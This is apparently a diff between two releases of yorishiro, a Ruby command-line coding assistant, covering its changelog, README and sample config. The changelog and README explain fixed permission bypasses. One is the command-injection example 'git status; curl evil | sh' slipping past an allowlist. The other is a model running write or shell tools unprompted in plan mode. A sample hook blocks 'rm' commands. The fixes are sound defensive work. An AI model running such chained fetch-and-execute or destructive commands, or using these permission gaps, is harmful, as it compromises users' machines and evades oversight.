yorishiro 0.1.0 → 0.2.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 84093e44e7e9ae3d6e590164028c1f95cb6b3938f3d8a7b063800312380897de
-  data.tar.gz: 4db18617aeb5fd5c71f3e749ef2f7ecf179fe43842474341d6d42a24b8762a7f
+  metadata.gz: baf30a97d74763ddc58d0f8c670233b3b44a82f064b161fe6aec967bf1d2c0d0
+  data.tar.gz: 724a79cd7e49ace2544852fa556810d47778ef99212244d7e8ab99dca5b71711
 SHA512:
-  metadata.gz: b01657cfa3ed4aeac756cc632dcf3a4d58eb2f1ec3a77b67aba0bd6f4caa3b795f3e9bead5e64222a0268cd91dfb412e24c13b9932fd451f97a0f144d4e89171
-  data.tar.gz: 497799e8401c11e066a600954acf3467722722da4f43d86db5ed81567680426ecb872c8aa0a3bc1a1f7d872b025a1f9ee6fc60d9cb6ae126215dccd9e15523cb
+  metadata.gz: 87c3e0741e2142cabdd0e3421d164d437854096e215ce2a076fd12058484e3a1d6bee6ee74dfbab2c7d82ad4762b83e61f187da0cda3af7771e63aa01ff2195d
+  data.tar.gz: 6965030d5709a8948c16951f95970082ba0558909c03dee44cd34e2ab9e84947df31abdc6c49e2efec0761fd3308e2e76e5d560a8498f654163460fc0ceec9c0

data/.yorishirorc.sample

@@ -47,12 +47,19 @@ allow_tool Yorishiro::Tools::ReadFile.new
 # File writing (permission required every time)
 allow_tool Yorishiro::Tools::WriteFile.new
 
+# Partial file editing with diff preview (permission required every time)
+allow_tool Yorishiro::Tools::EditFile.new
+
 # File listing / glob (no permission required)
 allow_tool Yorishiro::Tools::ListFiles.new
 
+# File content search with a Ruby regexp (no permission required)
+allow_tool Yorishiro::Tools::Grep.new
+
 # Command execution (pattern-based permission)
 # Commands matching allow_commands patterns run automatically.
 # Other commands prompt for permission: [y] once, [a] always, [n] deny.
+# Commands containing shell metacharacters (; & | $ ` < > ( ) or newlines) always prompt.
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: [
     "ls *",
@@ -62,6 +69,10 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
     "ruby *"
   ]
 
+# Subagent: delegate read-only research to a fresh context window
+# (no permission required — the subagent only gets read-only tools)
+allow_tool Yorishiro::Tools::Task.new
+
 # ============================================================
 # MCP Servers
 # ============================================================
@@ -77,10 +88,37 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
 #   args: ["mcp"],
 #   env: { "GITHUB_TOKEN" => ENV["GITHUB_TOKEN"] }
 
+# ============================================================
+# Hooks
+# ============================================================
+
+# Run Ruby blocks on lifecycle events:
+#   :before_tool_use    (tool_name, args)         — before the permission prompt
+#   :after_tool_use     (tool_name, args, result) — after a successful execution
+#   :user_prompt_submit (input)                   — before the message reaches the LLM
+#
+# before_tool_use / user_prompt_submit blocks can veto the action by
+# returning deny("reason"); any other return value lets it proceed.
+#
+# on :before_tool_use do |tool_name, args|
+#   deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
+# end
+#
+# on :after_tool_use do |tool_name, _args, result|
+#   File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
+# end
+
 # ============================================================
 # Custom Skills (Slash Commands)
 # ============================================================
 
+# Skills can also be auto-loaded from skill directories: any
+# Yorishiro::Skill subclass defined in ~/.yorishiro/skills/*.rb (global)
+# or ./.yorishiro/skills/*.rb (project-local) is registered automatically
+# — no `skill` call needed. Project-local skills override global ones
+# with the same name.
+
+# A skill that returns a String just prints its output:
 # class GitStatusSkill < Yorishiro::Skill
 #   def name = "git_status"
 #   def description = "Show git status"
@@ -88,3 +126,16 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
 # end
 #
 # skill GitStatusSkill.new
+
+# A skill can instead inject its own prompt into the LLM by returning
+# `prompt(...)`. The text is sent to the model as a user message and the
+# agent (or plan) loop runs, so the skill can drive the assistant:
+# class ReviewSkill < Yorishiro::Skill
+#   def name = "review"
+#   def description = "Review the current git diff"
+#   def execute(_context)
+#     prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
+#   end
+# end
+#
+# skill ReviewSkill.new

data/CHANGELOG.md

@@ -1,5 +1,46 @@
 ## [Unreleased]
 
+## [0.2.0] - 2026-07-17
+
+- Refresh the hardcoded provider model lists, which had gone stale enough to be actively wrong. The Anthropic list contained a model ID that never existed (`claude-haiku-4-20250414`) and two since-retired models (`claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`), while `validate_model!`'s whitelist rejected every real current model — so a correct `.yorishirorc` failed at startup. The list now holds the current alias IDs (`claude-fable-5`, `claude-opus-4-8/-4-7/-4-6/-4-5`, `claude-sonnet-5`/`-4-6`/`-4-5`, `claude-haiku-4-5`), which track the latest snapshot of each model and go stale far more slowly than dated IDs; the Anthropic default model is now `claude-opus-4-8`. The OpenAI list drops the `o1`/`o1-mini`/`o3-mini` reasoning models, which reject this client's always-streaming/system-message/tool flow and could never actually work. Note the whitelist itself remains: a brand-new model still needs a gem update (or an entry PR) before `validate_model!` accepts it.
+- Remove the dead `ContextManager` class. It was never required from `yorishiro.rb`, referenced from any code path, or covered by a test — and it carried a latent crash (`generate_map(max_depth: 4)` or deeper raised `ArgumentError` from a negative-length indent string, since the indentation hard-coded the default depth of 3). A future project-map feature can reintroduce it deliberately, with tests.
+- Fix `list_files` marking directories relative to the process cwd instead of the listed path. Without a `pattern`, entries come from `Dir.children` as bare names, but the directory check ran `File.directory?` on those names as-is — resolved against wherever `yorishiro` was launched, not the requested `path`. Listing any other directory therefore missed the trailing `/` on its subdirectories (and could even mark a file as a directory if a same-named directory happened to exist in the cwd). Entries are now resolved against the listed path; glob listings were already correct.
+- Keep one empty completion from bricking an Anthropic session. When the model returned an empty response (no text, no tool calls — e.g. after context overflow), the CLI warned about it but still recorded the empty assistant message; Anthropic rejects empty assistant content, so every subsequent request in the session failed with a 400 until `/clear`. Empty completions are no longer added to the history (the warning remains), and the Anthropic provider also drops any empty assistant message found in the history — covering sessions saved before this fix and resumed later. Assistant messages with tool calls but no text are unaffected.
+- Record a tool result for every tool call the model issues alongside `exit_plan_mode`. When a plan-mode response contained `exit_plan_mode` plus other tool calls in the same batch, only the exit call got a result before the loop broke — the siblings were left as unanswered assistant `tool_calls`, so after the user approved the plan the follow-up completion sent an unpaired tool_call and Anthropic/OpenAI rejected the whole request with a 400. Sibling calls are not executed (the plan is already final); each now gets a `Skipped: ...` tool result telling the model to re-run the tool after approval if still needed.
+- Stop a failing slash command or skill from crashing the whole REPL. The error handling in `repl_loop` only wrapped plain user input; slash commands ran outside it, so a skill whose `execute` raised — or, worse, a skill returning a `Prompt` whose injected agent loop hit a `ProviderError` (rate limit, network failure) — propagated out of the loop and killed the session with a backtrace, while the exact same provider error on a normal message printed a friendly `[Error] ...` line. Slash commands and skills now share that handling: the error is printed and the REPL keeps running. `/exit` is unaffected (`SystemExit` is not a `StandardError`).
+- Refuse non-read-only tool calls in plan mode instead of executing them without a permission prompt. Plan mode only offers the model the read-only tool definitions, but the dispatcher looked the called name up among *all* registered tools and ran it inline (plan mode never shows the `[y/a/n]` prompt) — so a model that named `write_file`, `edit_file`, `execute_command`, or any MCP tool (from history or hallucination) could mutate files or run commands while "planning". Such calls are now blocked with a tool result telling the model to put the step in the plan and call `exit_plan_mode`, and a `[Plan Mode] Blocked ...` notice is printed. Read-only tools and lifecycle hooks behave as before.
+- Stop the `--provider` CLI flag from wiping the configured API key and model. `setup!` applied the flag with a bare `use(provider:)`, whose `api_key:`/`model:` defaults are `nil` — so `yorishiro --provider anthropic` discarded the key loaded from `.yorishirorc` and failed with a 401 on the first request (no re-validation caught it at startup). Both `--provider` and `--model` now go through the same validated `switch!` path as the `/model` command: `--provider` alone keeps the configured key when the provider is unchanged and otherwise reads the new provider's conventional env var (`ANTHROPIC_API_KEY`/`OPENAI_API_KEY`; Ollama needs none), dropping the rc model since it belongs to the old provider; `--model` alone keeps provider and key and is now validated at startup (this also removes the `instance_variable_set` backdoor it used).
+- Add a `/model` command to switch provider/model without restarting. `/model` lists the current selection and the available models; `/model <name>` changes the model within the current provider; `/model <provider> <name>` also switches provider, reading that provider's API key from its conventional env var (`ANTHROPIC_API_KEY`/`OPENAI_API_KEY`; Ollama needs none). The switch is validated and rolled back if the model or key is invalid, so a rejected switch keeps the running session on its current model. The conversation continues across the switch, and subagent tools are re-pointed at the new provider.
+- Add a `/usage` command that shows token usage for the last turn and the running session total (plus the prompt's share of the context budget when the provider reports one). Ollama already parsed `prompt_eval_count`/`eval_count` but only used them for truncation warnings; those counts are now surfaced, and Anthropic (from the `message_start`/`message_delta` usage fields) and OpenAI (via `stream_options.include_usage`) now report usage too. Each provider's `chat` result carries a normalized `usage: { input:, output: }`; the CLI accumulates it per turn and `/clear` resets the running total. Providers that report nothing fall back to a rough character-based estimate.
+- Keep a subagent's partial findings when a provider call fails mid-task. The `task` tool's completion request was not rescued, so a `ProviderError` (401/429/API error) or network timeout after several useful research iterations threw away everything gathered so far — the parent only saw a one-line `Error: ...`. The subagent now catches a failed completion and returns whatever it had found plus a `[Subagent stopped early after a provider error: ...]` notice (just the notice when it fails on the first call), matching how the iteration-limit and per-tool-error paths already salvage progress instead of crashing the loop.
+- Stop two `yorishiro` processes from silently destroying each other's history. Resuming the same session in the same directory from two terminals (`--continue` both picking the latest session, or `--resume <id>` with the same id) left both writing the same `.yorishiro/sessions/<id>.json`, so the last to save overwrote the other's conversation (last-writer-wins data loss); they also shared one `<id>.json.tmp`, which could corrupt the in-flight write. A session id is now claimed with an advisory `flock` held for the process lifetime: resuming a session another live process owns prints a notice and starts a fresh session instead of attaching to it, and the temp file is per-process (`<id>.json.<pid>.tmp`). New sessions are unaffected (their ids are already unique). The lock releases automatically on exit and orphaned `.lock` files are pruned alongside their sessions.
+- Never auto-approve `execute_command` calls containing shell metacharacters (`;` `&` `|` `` ` `` `$` `<` `>` `(` `)` or newlines), even when they match an `allow_commands` pattern. Patterns were matched with `File.fnmatch` against the whole command string and the command runs through a shell, so with the recommended `"git *"` config a command like `git status; curl evil | sh` matched the pattern and executed without any permission prompt — an allowlist bypass allowing arbitrary command injection. Such commands now always fall through to the interactive `[y/a/n]` prompt (quoted metacharacters like `git commit -m "a; b"` also prompt — a deliberate trade-off to avoid shipping a shell parser); commands the user explicitly session-allowed with `a` keep working since that list is exact-match.
+- Add a built-in `task` tool (opt-in with `allow_tool Yorishiro::Tools::Task.new`) that delegates a read-only research task to a subagent running its own agent loop in a fresh context window. The subagent gets the registered read-only tools only (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest) and returns just its final text to the parent conversation, so multi-file exploration no longer fills the parent's context — the main win on small local context windows (e.g. Ollama with `num_ctx 8192`). Lifecycle hooks fire for the subagent's tool calls too, each call is shown as an indented `[task] ...` progress line, tool results inside the subagent are capped the same way as the parent's, and the loop is bounded at 15 iterations. Being read-only, `task` needs no permission prompt and is available in plan mode.
+- Stop a single task from exhausting small context windows (e.g. Ollama with `num_ctx 8192`), where reading the files needed for one request used up the whole budget and neither compaction (needs older rounds) nor trimming (keeps the latest round) could free anything:
+  - `read_file` now returns at most 200 lines per call (long lines truncated at 500 characters) with a paging notice telling the model to continue via `offset`/`limit`.
+  - Every tool result is capped before entering the conversation — at a quarter of the context budget when the provider reports one, 30k characters otherwise — with a notice asking the model to narrow the request.
+  - When the conversation still exceeds the budget, the oldest tool results are now blanked out in place (keeping the two most recent and the message structure intact) before whole rounds are dropped, so a long tool loop inside one request degrades gracefully instead of producing empty responses.
+
+- Add lifecycle hooks configurable from `.yorishirorc` with the `on` DSL: `:before_tool_use` (fires before the permission prompt and can veto the call by returning `deny("reason")` — the denial is fed back to the LLM as the tool result), `:after_tool_use` (observes tool results; failures only warn), and `:user_prompt_submit` (can block a message before it reaches the LLM). Only an explicit `deny(...)`/`:deny` return vetoes, so logging-only hooks are safe; a `before_tool_use` hook that raises denies the call (fail closed). Hooks apply to MCP tools and plan mode too.
+- Auto-load custom skills (slash commands) from skill directories: any `Yorishiro::Skill` subclass defined in `~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local) is registered at startup without a `skill ...` call. Project-local skills override same-name global ones, abstract intermediate base classes are skipped, and a broken skill file fails startup with the offending path in the error.
+- Add a built-in `edit_file` tool that replaces an exact string in a file (`path`, `old_string`, `new_string`, optional `replace_all`), instead of rewriting the whole file with `write_file`. The string must match uniquely; ambiguity and misses return actionable errors so the LLM can retry.
+- Show a unified diff preview in the permission prompt for `edit_file` and `write_file` (colored when the output is a TTY), so you can see the actual change before approving instead of a raw argument dump. Tools can opt in by overriding `Tool#preview`; everything else keeps the argument dump.
+- Add a built-in `grep` tool that searches file contents recursively with a Ruby regular expression (`pattern`, optional `path` and `glob` filter). Matches are returned as `file:line:content`, capped at 100 results; binary files, hidden/dot directories, and dependency directories (`.git`, `node_modules`, `vendor`, `tmp`) are skipped. Read-only, so it needs no permission prompt and is available in plan mode.
+- Stop plan mode from looping forever: add an `exit_plan_mode` tool the model calls to signal its plan is ready. Previously the plan loop could only end when the model returned no tool calls, so a model that kept reading files (only read-only tools are exposed in plan mode) never reached the `Execute this plan? [y/n]` prompt. When `exit_plan_mode` is called the plan is presented and the loop exits.
+- Persist conversations to `.yorishiro/sessions/<id>.json` under the launch directory (saved after every turn and progressively during long tool loops, via an atomic tmp-file rename so a crash never corrupts the previous state). Resume with `--continue` (most recent session), `--resume [ID]` (ID prefixes work; interactive picker when omitted), or the `/resume` command. `/clear` starts a new session while keeping the old file resumable. Sessions record the provider/model and warn when resuming under a different one; the newest 50 sessions are kept.
+- Persist input history to `.yorishiro/history.json` in the directory where `yorishiro` was launched, so past prompts (including multi-line ones) can be recalled with the up arrow across sessions. Each project keeps its own history; add `.yorishiro/` to `.gitignore` to keep it out of version control.
+- Edit multi-line prompts as a single buffer: input now uses `Reline.readmultiline`, so the cursor can move back to earlier lines to edit them before sending. The "Enter on a blank line sends" gesture is unchanged.
+- Let skills inject a prompt into the LLM: when a skill's `execute` returns a `Yorishiro::Skill::Prompt` (built with the `prompt("...")` helper), its text is fed to the model as a user message and the agent/plan loop runs. Skills returning a String keep printing their output as before.
+- Stream Ollama responses even when tools are provided, allowing text and tool calls to be handled from NDJSON chunks.
+- Add `OLLAMA_KEEP_ALIVE` support for Ollama chat requests, defaulting to `10m`.
+- Disable the read timeout for Ollama so large-prompt coding tasks no longer fail with `Net::ReadTimeout` while the local model evaluates the prompt before streaming the first token. Cloud providers keep the 120s default.
+- Restore `Ollama request`/`Ollama response` debug logging (`YORISHIRO_DEBUG=1`) on the streaming path.
+- Send an explicit `num_ctx` (context window) with every Ollama request so large-codebase sessions no longer overflow Ollama's small default context and get silently truncated (which dropped the system prompt/tools and caused the model to stop responding). Defaults to `8192`, overridable via the `OLLAMA_NUM_CTX` env var or `ollama_num_ctx` in `.yorishirorc`.
+- Automatically compact conversation history (Claude Code style): when the conversation nears the context budget, older rounds are summarized by the model into a single summary message while the most recent rounds are kept verbatim. Enabled by default; disable with `auto_compact false` in `.yorishirorc`, or trigger manually with the `/compact` command.
+- Trim the oldest conversation rounds to fit the provider's context budget before each request (Ollama only for now) as a fallback after compaction, keeping the system prompt and the latest round and never splitting a tool call from its result.
+- Surface context-truncation and empty-response conditions in the CLI instead of silently going quiet, and keep the REPL alive when a single turn raises an error.
+- Harden Ollama NDJSON stream parsing: skip malformed/partial lines instead of crashing, and raise a `ProviderError` when Ollama streams an `error` object.
+
 ## [0.1.0] - 2026-03-18
 
 - Initial release

data/README.md

@@ -30,11 +30,13 @@ vi .lyorishirorc
 
 ```ruby
 # ~/.yorishirorc
-use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonnet-4-20250514"
+use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"
 
 allow_tool Yorishiro::Tools::ReadFile.new
 allow_tool Yorishiro::Tools::WriteFile.new
+allow_tool Yorishiro::Tools::EditFile.new
 allow_tool Yorishiro::Tools::ListFiles.new
+allow_tool Yorishiro::Tools::Grep.new
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: ["ls", "git *", "bundle exec *", "cat *"]
 
@@ -48,7 +50,7 @@ yorishiro
 ```
 
 ```
-Yorishiro v0.1.0 (anthropic:claude-sonnet-4-20250514)
+Yorishiro v0.1.0 (anthropic:claude-opus-4-8)
 Type your message (Enter twice to send, /help for commands)
 
 you> Hello!
@@ -61,25 +63,60 @@ assistant> Hi! How can I help you today?
 ### Basic Operations
 
 - Type your message and press **Enter twice** to send
+- Input is a single editable buffer: use the arrow keys to move back to earlier lines and edit them before sending
+- Press **↑ / ↓** to recall previously sent prompts
 - `Ctrl+C` or `/exit` to quit
 
+### Input History
+
+Sent prompts are saved to `.yorishiro/history.json` in the directory where you launched `yorishiro`, so each project keeps its own history. On the next launch from the same directory, press **↑** to recall past prompts (multi-line prompts are restored intact) and re-send them.
+
+Add `.yorishiro/` to your `.gitignore` to keep the history out of version control:
+
+```
+.yorishiro/
+```
+
+If several sessions run in the same directory at once, the last one to exit wins when writing the file.
+
+### Session Persistence & Resume
+
+Conversations are saved automatically to `.yorishiro/sessions/` under the launch directory — after every turn, and progressively during long tool loops, so a crash loses at most the in-flight completion. Resume where you left off:
+
+```bash
+yorishiro --continue        # resume the most recent session
+yorishiro --resume          # pick from a list of saved sessions
+yorishiro --resume 2026070  # resume by id (prefixes work)
+```
+
+Inside the REPL, `/resume` shows the same picker and `/clear` starts a new session (the old one stays on disk and remains resumable). Sessions record which provider/model they were created with; resuming under a different one prints a notice and continues with the current configuration. The newest 50 sessions are kept per directory.
+
+A session can only be open in one process at a time. If you resume a session that another `yorishiro` in the same directory is already using, it won't attach to it (which would overwrite that process's history) — it prints a notice and starts a fresh session instead.
+
 ### Slash Commands
 
 | Command | Description |
 |---------|-------------|
 | `/plan` | Toggle plan mode |
-| `/clear` | Clear conversation history |
+| `/clear` | Clear conversation history (starts a new session) |
+| `/resume` | List saved sessions and resume one |
 | `/tools` | List registered tools |
 | `/skills` | List registered skills |
+| `/usage` | Show token usage for the last turn and the session |
+| `/model` | Switch provider/model at runtime (lists options when called with no arguments) |
 | `/exit` | Exit yorishiro |
 | `/help` | Show help |
 
+`/model gpt-4o` switches the model within the current provider; `/model open_ai gpt-4o` also switches provider. When switching to a different provider, the API key is read from that provider's conventional environment variable (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`; Ollama needs none) — the switch is rejected and the current model kept if the key or model is invalid.
+
 ### CLI Options
 
 ```bash
 yorishiro --provider anthropic   # Select provider
 yorishiro --model gpt-4o         # Override model
 yorishiro --plan                 # Start in plan mode
+yorishiro --continue             # Resume the most recent session
+yorishiro --resume [ID]          # Resume a saved session (picker when ID is omitted)
 yorishiro --version              # Show version
 yorishiro --help                 # Show help
 ```
@@ -96,7 +133,7 @@ Configuration files use a Ruby DSL. Loading order (later overrides earlier):
 
 ```ruby
 # Anthropic (Claude)
-use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonnet-4-20250514"
+use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"
 
 # OpenAI (ChatGPT)
 use provider: :open_ai, api_key: ENV["OPENAI_API_KEY"], model: "gpt-4o"
@@ -109,8 +146,8 @@ use provider: :ollama, model: "llama3.1"
 
 | Provider | Models |
 |----------|--------|
-| Anthropic | claude-opus-4-20250514, claude-sonnet-4-20250514, claude-haiku-4-20250414, claude-3-5-sonnet-20241022, claude-3-5-haiku-20241022 |
-| OpenAI | gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo, o1, o1-mini, o3-mini |
+| Anthropic | claude-fable-5, claude-opus-4-8, claude-opus-4-7, claude-opus-4-6, claude-opus-4-5, claude-sonnet-5, claude-sonnet-4-6, claude-sonnet-4-5, claude-haiku-4-5 |
+| OpenAI | gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo |
 | Ollama | Any model available on your Ollama instance (dynamically fetched) |
 
 ### Tool Settings
@@ -119,15 +156,35 @@ use provider: :ollama, model: "llama3.1"
 # Read-only tools (no permission required)
 allow_tool Yorishiro::Tools::ReadFile.new
 allow_tool Yorishiro::Tools::ListFiles.new
+allow_tool Yorishiro::Tools::Grep.new
 
-# Write tool (permission required every time)
+# Write / edit tools (permission required every time, with a diff preview)
 allow_tool Yorishiro::Tools::WriteFile.new
+allow_tool Yorishiro::Tools::EditFile.new
 
 # Command execution (pattern-based permission)
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: ["ls", "git *", "bundle exec *"]
+
+# Subagent (delegates read-only research to a fresh context window)
+allow_tool Yorishiro::Tools::Task.new
 ```
 
+### Subagent (`task` tool)
+
+The `task` tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest), and only its final text summary enters the parent conversation.
+
+This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with `num_ctx 8192`), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:
+
+```
+[Tool] Executing: task(prompt: Find where sessions are persisted...)
+  [task] grep(pattern: def save)
+  [task] read_file(path: lib/yorishiro/session_store.rb)
+[Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...
+```
+
+Lifecycle hooks (`before_tool_use` / `after_tool_use`) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.
+
 ### Command Execution Permission Model
 
 The `execute_command` tool uses a 3-tier permission model:
@@ -140,8 +197,11 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
 # ls           → auto-approved
 # git status   → auto-approved
 # rm -rf /     → permission prompt
+# git status; curl evil | sh → permission prompt (metacharacters never auto-approve)
 ```
 
+Commands containing shell metacharacters (`;` `&` `|` `` ` `` `$` `<` `>` `(` `)` or newlines) are never auto-approved, even when they match an `allow_commands` pattern. Since commands run through a shell, these characters could chain extra commands onto an allowed prefix (e.g. `git status; rm -rf /` matching `"git *"`), so they always fall through to the Tier 2 prompt.
+
 **Tier 2: Runtime approval** — Commands not matching any pattern trigger a permission prompt
 
 ```
@@ -206,6 +266,66 @@ skill GitStatusSkill.new
 # => Available as /git_status
 ```
 
+A skill that returns a String just prints its output. To drive the assistant
+instead, return `prompt(...)`: the text is injected as a user message and the
+LLM runs (respecting plan mode), so the skill can hand a task to the model.
+
+```ruby
+class ReviewSkill < Yorishiro::Skill
+  def name = "review"
+  def description = "Review the current git diff"
+
+  def execute(_context)
+    prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
+  end
+end
+
+skill ReviewSkill.new
+# => /review feeds the diff to the LLM and runs the agent loop
+```
+
+Skill files can also be auto-loaded: any `Yorishiro::Skill` subclass defined in
+`~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local)
+is registered automatically at startup — no `skill ...` call needed. When both
+directories define a skill with the same name, the project-local one wins.
+
+```ruby
+# .yorishiro/skills/changelog.rb
+class ChangelogSkill < Yorishiro::Skill
+  def name = "changelog"
+  def description = "Summarize recent commits"
+
+  def execute(_context)
+    prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
+  end
+end
+# => /changelog is available automatically
+```
+
+### Hooks
+
+Run Ruby blocks on lifecycle events from `.yorishirorc`:
+
+```ruby
+# Veto a tool call before the permission prompt (the denial is returned
+# to the LLM as the tool result so it can change course)
+on :before_tool_use do |tool_name, args|
+  deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
+end
+
+# Observe tool results (a failing hook only prints a warning)
+on :after_tool_use do |tool_name, _args, result|
+  File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
+end
+
+# Block a message before it reaches the LLM
+on :user_prompt_submit do |input|
+  deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
+end
+```
+
+Only an explicit `deny("reason")` (or `:deny`) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A `before_tool_use` hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.
+
 ### Full Configuration Example
 
 ```ruby
@@ -213,7 +333,7 @@ skill GitStatusSkill.new
 
 use provider: :anthropic,
     api_key: ENV["ANTHROPIC_API_KEY"],
-    model: "claude-sonnet-4-20250514"
+    model: "claude-opus-4-8"
 
 system_prompt <<~PROMPT
   You are a helpful coding assistant.
@@ -225,7 +345,9 @@ plan_mode false
 # Built-in tools
 allow_tool Yorishiro::Tools::ReadFile.new
 allow_tool Yorishiro::Tools::WriteFile.new
+allow_tool Yorishiro::Tools::EditFile.new
 allow_tool Yorishiro::Tools::ListFiles.new
+allow_tool Yorishiro::Tools::Grep.new
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: [
     "ls *",
@@ -234,6 +356,7 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
     "bundle exec *",
     "ruby *"
   ]
+allow_tool Yorishiro::Tools::Task.new
 
 # MCP servers
 mcp_server "filesystem",
@@ -247,8 +370,11 @@ mcp_server "filesystem",
 |------|-------|-------------|------------|
 | `read_file` | `Yorishiro::Tools::ReadFile` | Read file contents | Not required |
 | `write_file` | `Yorishiro::Tools::WriteFile` | Write to a file | Required every time |
+| `edit_file` | `Yorishiro::Tools::EditFile` | Replace an exact string in a file | Required every time |
 | `list_files` | `Yorishiro::Tools::ListFiles` | List directory / glob search | Not required |
+| `grep` | `Yorishiro::Tools::Grep` | Search file contents with a Ruby regexp | Not required |
 | `execute_command` | `Yorishiro::Tools::ExecuteCommand` | Execute shell commands | Pattern-based |
+| `task` | `Yorishiro::Tools::Task` | Delegate read-only research to a subagent with a fresh context window | Not required |
 
 ## Development
 

data/docs/en/README.md

@@ -32,7 +32,9 @@ use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonn
 
 allow_tool Yorishiro::Tools::ReadFile.new
 allow_tool Yorishiro::Tools::WriteFile.new
+allow_tool Yorishiro::Tools::EditFile.new
 allow_tool Yorishiro::Tools::ListFiles.new
+allow_tool Yorishiro::Tools::Grep.new
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: ["ls", "git *", "bundle exec *", "cat *"]
 
@@ -61,12 +63,17 @@ assistant> Hi! How can I help you today?
 - Type your message and press **Enter twice** to send
 - `Ctrl+C` or `/exit` to quit
 
+### Session Persistence & Resume
+
+Conversations are saved automatically to `.yorishiro/sessions/` under the launch directory — after every turn, and progressively during long tool loops. Resume with `yorishiro --continue` (most recent), `yorishiro --resume [ID]` (ID prefixes work; interactive picker when omitted), or the `/resume` command. `/clear` starts a new session while keeping the old one resumable. Sessions record their provider/model and print a notice when resumed under a different one; the newest 50 sessions are kept per directory.
+
 ### Slash Commands
 
 | Command | Description |
 |---------|-------------|
 | `/plan` | Toggle plan mode |
-| `/clear` | Clear conversation history |
+| `/clear` | Clear conversation history (starts a new session) |
+| `/resume` | List saved sessions and resume one |
 | `/tools` | List registered tools |
 | `/skills` | List registered skills |
 | `/exit` | Exit yorishiro |
@@ -78,6 +85,8 @@ assistant> Hi! How can I help you today?
 yorishiro --provider anthropic   # Select provider
 yorishiro --model gpt-4o         # Override model
 yorishiro --plan                 # Start in plan mode
+yorishiro --continue             # Resume the most recent session
+yorishiro --resume [ID]          # Resume a saved session (picker when ID is omitted)
 yorishiro --version              # Show version
 yorishiro --help                 # Show help
 ```
@@ -117,14 +126,34 @@ use provider: :ollama, model: "llama3.1"
 # Read-only tools (no permission required)
 allow_tool Yorishiro::Tools::ReadFile.new
 allow_tool Yorishiro::Tools::ListFiles.new
+allow_tool Yorishiro::Tools::Grep.new
 
-# Write tool (permission required every time)
+# Write / edit tools (permission required every time, with a diff preview)
 allow_tool Yorishiro::Tools::WriteFile.new
+allow_tool Yorishiro::Tools::EditFile.new
 
 # Command execution (pattern-based permission)
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: ["ls", "git *", "bundle exec *"]
+
+# Subagent (delegates read-only research to a fresh context window)
+allow_tool Yorishiro::Tools::Task.new
+```
+
+### Subagent (`task` tool)
+
+The `task` tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest), and only its final text summary enters the parent conversation.
+
+This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with `num_ctx 8192`), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:
+
 ```
+[Tool] Executing: task(prompt: Find where sessions are persisted...)
+  [task] grep(pattern: def save)
+  [task] read_file(path: lib/yorishiro/session_store.rb)
+[Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...
+```
+
+Lifecycle hooks (`before_tool_use` / `after_tool_use`) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.
 
 ### Command Execution Permission Model
 
@@ -204,6 +233,66 @@ skill GitStatusSkill.new
 # => Available as /git_status
 ```
 
+A skill that returns a String just prints its output. To drive the assistant
+instead, return `prompt(...)`: the text is injected as a user message and the
+LLM runs (respecting plan mode), so the skill can hand a task to the model.
+
+```ruby
+class ReviewSkill < Yorishiro::Skill
+  def name = "review"
+  def description = "Review the current git diff"
+
+  def execute(_context)
